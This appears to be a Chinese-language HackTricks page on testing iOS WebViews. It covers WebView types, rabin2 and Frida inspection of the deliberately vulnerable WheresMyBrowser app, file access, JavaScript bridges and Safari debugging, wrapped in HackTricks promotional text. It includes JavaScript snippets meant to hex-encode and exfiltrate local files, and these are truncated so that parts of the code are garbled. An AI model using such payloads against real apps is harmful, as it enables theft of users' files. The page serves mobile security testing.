# iOS WebViews
从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: * 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## WebViews类型 WebViews是应用内浏览器组件,用于显示交互式**网络** **内容**。它们可以用来直接将网络内容嵌入到应用的用户界面中。iOS WebViews **默认支持** **JavaScript** 执行,因此脚本注入和跨站脚本攻击可能会影响它们。 * [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** 从iOS 12开始UIWebView已被弃用,不应再使用。**JavaScript无法被禁用**。 * [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): 这是扩展应用功能、控制显示内容的合适选择。 * **JavaScript** 默认启用,但是通过 `WKWebView` 的 **`javaScriptEnabled`** 属性,它**可以被完全禁用**,防止所有脚本注入漏洞。 * **`JavaScriptCanOpenWindowsAutomatically`** 可用于**防止** JavaScript **打开新窗口**,例如弹出窗口。 * **`hasOnlySecureContent`** 属性可用于验证WebView加载的资源是否通过加密连接检索。 * `WKWebView` 实现了进程外渲染,因此**内存损坏漏洞不会影响**主应用进程。 * [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** 应当用于提供**通用的网络浏览体验**。这些WebViews可以很容易地被识别,因为它们有一个特征性的布局,包括以下元素: * 一个只读的地址栏,带有安全指示器。 * 一个动作("**分享**")**按钮**。 * 一个**完成按钮**,后退和前进导航按钮,以及一个"打开Safari"按钮以直接在Safari中打开页面。 * 在 `SFSafariViewController` 中**无法禁用JavaScript**,这是推荐使用 `WKWebView` 的原因之一,当目标是扩展应用的用户界面时。 * `SFSafariViewController` 也**共享cookies**和其他网站数据与**Safari**。 * 用户与 `SFSafariViewController` 的活动和互动**对应用不可见**,应用无法访问自动填充数据、浏览历史或网站数据。 * 根据App Store审查指南,`SFSafariViewController`**不得被其他视图或层隐藏或遮挡**。 ## 发现WebViews配置 ### 静态分析 **UIWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" 489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView 896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView 1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView ``` **WKWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView 625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView 904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView 1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView ``` ```markdown 或者,您也可以搜索这些 WebView 类的已知方法。例如,搜索用于初始化 WKWebView 的方法([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)): ``` ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO 0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO ``` #### 测试JavaScript配置 对于`WKWebView`,作为最佳实践,除非明确需要,否则应禁用JavaScript。要验证JavaScript是否已正确禁用,请搜索项目中的`WKPreferences`用法,并确保[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)属性设置为`false`: ``` let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false ``` 如果您只有编译后的二进制文件,您可以在其中搜索这个: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled 392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled ``` #### 测试 OnlySecureContent 与 `UIWebView` 相比,使用 `WKWebView` 时可以检测到[混合内容](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)(从 HTTPS 页面加载的 HTTP 内容)。通过使用方法 [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent),可以验证页面上的所有资源是否都通过安全加密连接加载。\ 在编译后的二进制文件中: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` 您还可以在源代码或字符串中搜索字符串 "http://"。但是,这并不一定意味着存在混合内容问题。在 [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content) 中了解更多关于混合内容的信息。 ### 动态分析 可以通过 `ObjC.choose()` 检查堆,以找到不同类型的 WebViews 的实例,并且还可以搜索属性 `javaScriptEnabled` 和 `hasonlysecurecontent`: {% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { onMatch: function (ui) { console.log('onMatch: ', ui); console.log('URL: ', ui.request().toString()); }, onComplete: function () { console.log('done for UIWebView!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ObjC.choose(ObjC.classes['SFSafariViewController'], { onMatch: function (sf) { console.log('onMatch: ', sf); }, onComplete: function () { console.log('done for SFSafariViewController!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); } }); ``` ``` 加载它: ``` ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js onMatch: > hasOnlySecureContent: false ``` ## WebView 协议处理 在 iOS 上的 WebView 中,有几个默认的方案可用,例如: * http(s):// * file:// * tel:// WebViews 可以从端点加载远程内容,但它们也可以从应用数据目录加载本地内容。如果加载了本地内容,用户不应该能够影响用于加载文件的文件名或路径,用户也不应该能够编辑已加载的文件。 ### WebView 内容加载 * **UIWebView**:它可以使用已弃用的方法 [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) 或 [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) 来加载内容。 * **WKWebView**:它可以使用方法 [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) 或 [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) 来加载本地 HTML 文件,以及 `loadRequest:` 来加载网页内容。通常,本地文件与包括 [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource)、[`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) 或 [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init) 等方法结合使用。此外,您还应该验证应用是否使用了方法 [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc)。其第一个参数是 `URL`,包含要在 WebView 中加载的 URL,其第二个参数 `allowingReadAccessToURL` 可能包含单个文件或目录。如果包含单个文件,该文件将可供 WebView 使用。然而,如果它包含一个目录,**该目录上的所有文件都将可供 WebView 使用**。因此,值得检查这一点,如果是目录,验证其中是否没有敏感数据。 如果您有源代码,您可以搜索这些方法。拥有**编译后的** **二进制文件**,您也可以搜索这些方法: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` ### 文件访问 * **UIWebView:** * `file://` 方案始终启用。 * 从 `file://` URLs 的文件访问始终被启用。 * 从 `file://` URLs 的通用访问始终被启用。 * 如果你从设置了 `baseURL` 为 `nil` 的 `UIWebView` 中检索有效源,你会发现它**不是设置为 "null"**,相反,你会得到类似以下的内容:`applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`。这个源 "applewebdata://" 类似于 "file://" 源,因为它**不实施同源策略**,允许访问本地文件和任何网络资源。 {% tabs %} {% tab title="exfiltrate_file" %} ```javascript String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i> URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/ Library/WKWebView/scenario1.html javaScriptEnabled: true allowFileAccessFromFileURLs: 0 hasOnlySecureContent: false allowUniversalAccessFromFileURLs: 0 ``` #### 泄露任意文件 ```javascript //For some reason this payload doesn't work!! //Let me know if you know how to exfiltrate local files from a WKWebView String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i ``` ### 被调用函数 被调用函数位于 [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29): ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { //... case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) //... let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) ``` ### 测试 为了在应用程序内发送 postMessage,您可以: * 更改服务器响应(MitM) * 执行动态工具注入并使用像 Frida 这样的框架通过 iOS WebViews 提供的相应 JavaScript 评估函数注入 JavaScript 负载(对于 `UIWebView` 是 [`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc),对于 `WKWebView` 是 [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc))。 ## 调试 iOS WebViews (教程来自 [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) 在 iOS webviews 中,传递给 `console.log()` 的消息不会打印到 Xcode 日志中。使用 Safari 的开发者工具调试 web 内容仍然相对容易,尽管有一些限制: * 调试 iOS webviews 需要使用 Safari,因此您的开发计算机必须运行 macOS。 * 您只能在通过 Xcode 加载到您设备上的应用程序中调试 webviews。您无法调试通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews。 考虑到这些限制,以下是在 iOS 中远程调试 webview 的步骤: * 首先,在您的 iOS 设备上启用 Safari Web 检查器,打开 iOS _设置_ 应用,导航到 **设置 > Safari > 高级**,然后打开 _Web 检查器_ 选项。 ![iOS Safari 设置](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg) * 接下来,您还必须在开发计算机上的 Safari 中启用开发者工具。在您的开发机器上启动 Safari 并导航到菜单栏中的 **Safari > 偏好设置**。在出现的偏好设置面板中,点击 _高级_ 标签,然后在底部启用 _显示开发菜单_ 选项。完成后,您可以关闭偏好设置面板。 ![Mac Safari 设置](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg) * 将您的 iOS 设备连接到开发计算机并启动您的应用程序。 * 在开发计算机上的 Safari 中,点击菜单栏中的 _开发_,然后悬停在您的 iOS 设备名称的下拉选项上,以显示在您的 iOS 设备上运行的 webview 实例列表。 ![Mac Safari 开发菜单](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg) * 点击您希望调试的 webview 的下拉选项。这将打开一个新的 Safari Web 检查器窗口以检查 webview。 ![Safari Web 检查器窗口](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg) ## 参考资料 * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家) 支持 HackTricks 的其他方式: * 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。